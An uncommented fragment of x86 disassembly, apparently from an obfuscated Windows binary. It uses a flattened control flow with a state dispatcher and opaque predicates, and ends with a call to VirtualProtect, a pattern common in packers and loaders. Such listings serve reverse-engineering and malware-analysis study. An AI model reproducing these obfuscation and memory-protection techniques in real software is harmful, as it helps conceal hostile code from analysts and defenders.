mov eax, dword [0x4b3418]
mov esi, 0xf5637f0d
mov edi, 0x5661b48d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x5661b48d
sete al
cmove ecx, esi
cmp dword [0x4b3414], 0xa
setl dl
cmovge ecx, edi
xor dl, al
cmovne ecx, esi
mov eax, ecx
jmp 0x401500
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
mov eax, 0x3364458d
jmp 0x401500
cmp byte [ebp - 0x76], 0
mov eax, 0xa4bcf651
mov ecx, 0xd86ce6ba
cmovne eax, ecx
jmp 0x401500
mov eax, dword [0x4b3418]
mov edi, 0x89345db4
mov esi, 0x4b0fe3cb
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x4b0fe3cb
jmp 0x4014e1
mov eax, 0x76953eaf
jmp 0x401500
mov eax, dword [ebp - 0x100]
mov edi, 0x5a836f67
mov esi, 0x4f5589e8
add eax, 2
mov dword [ebp - 0x170], eax
mov eax, dword [0x4b3418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x4f5589e8
jmp 0x4014e1
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x164], eax
mov eax, 0x2327ab6d
jmp 0x401500
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov esi, 0xe4cbfbf9
mov edi, 0xac0a163
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x20]
cmovge eax, esi
mov ecx, dword [ecx]
mov dword [ebp - 0x148], ecx
jmp 0x401500
cmp dword [ebp - 0x1b4], 0
mov eax, 0x73f6d7b1
mov ecx, 0xa4bcf651
cmove eax, ecx
jmp 0x401500
mov ecx, dword [ebp - 0x124]
mov dword [ebp - 0x1d8], edx
mov dword [ebp - 0x1dc], esi
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1d4], ecx
push dword [ebp - 0x1d4]
push dword [ebp - 0x1d8]
push dword [ebp - 0x1dc]
push dword [ebp - 0x1e0]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3c]
mov eax, 0xeb297cd9
jmp 0x401500
cmp eax, 0x4c5def12
jne 0x401500
mov esi, dword [ebp - 0x1d0]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.0043bce0
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret